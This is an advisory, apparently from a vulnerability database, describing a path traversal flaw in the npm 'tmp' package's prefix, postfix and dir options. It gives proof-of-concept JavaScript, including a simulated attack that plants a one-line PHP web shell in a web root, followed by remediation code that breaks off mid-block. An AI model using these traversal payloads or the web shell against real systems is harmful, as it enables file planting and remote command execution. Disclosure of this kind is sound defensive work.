Lack of data validation - Path Traversal In tmp
Description
tmp has Path Traversal via unsanitized prefix/postfix that enables directory escape ### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the prefix, postfix, or dir options. By embedding traversal sequences (e.g., ../) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details Root Cause: The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. Technical Flow: 1. Filename Construction: tmp builds filenames as <prefix>-<pid>-<random>-<postfix> 2. Path Composition: Final path computed as path.join(tmpDir, opts.dir, name) 3. Path Normalization: Node.js path.join() normalizes traversal sequences, allowing escape 4. File Creation: File created at the resulting (potentially escaped) path Vulnerable Pattern: javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir Path Traversal Mechanics: - prefix/postfix traversal: ../../../evil in prefix escapes directory structure - Absolute path bypass: If opts.dir is absolute, path.join() ignores tmpDir completely - Normalization exploitation: path.join() resolves ../ sequences regardless of surrounding text - Cross-platform impact: Works on Windows (..\\), Unix (../), and mixed path systems Key Vulnerability Points: - No input validation on prefix, postfix, or dir parameters - Direct use of user input in path construction - Reliance on path.join() normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC Basic Path Traversal via prefix: javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); Directory Escape via postfix: javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); Absolute Path Bypass via dir: javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); Advanced Multi-Vector Attack: javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); Real-World Attack Simulation: javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ### Impact Arbitrary File Creation: - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability Attack Scenarios: 1. Web Application Configuration Poisoning: - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart 2. Cache Poisoning: - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users 3. Build Pipeline Compromise: - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production 4. Container Escape Attempt: - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas 5. Multi-Tenant Service Bypass: - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation Business Impact: - Data Integrity: Unauthorized file placement can corrupt application state - Service Disruption: Files in wrong locations may break application functionality - Security Bypass: Escape temporary isolation boundaries - Compliance Violations: Files containing sensitive data placed in uncontrolled locations ### Affected Products - Ecosystem: npm - Package name: tmp - Repository: github.com/raszi/node-tmp - Affected versions: All versions with vulnerable path construction logic - Patched versions: None currently available Component Impact: - tmp.file() function - vulnerable to prefix/postfix/dir traversal - tmp.dir() function - vulnerable to same parameter manipulation - tmp.tmpName() function - if using affected path construction Severity: High CVSS v3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) CWE Classification: - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation Input Validation and Sanitization: 1. Sanitize prefix/postfix: javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } 2. Validate dir parameter: javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } 3. Post-construction path validation: javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } Secure Implementation Pattern: ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix);
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
npm | 0.2.6 |
Aliases
References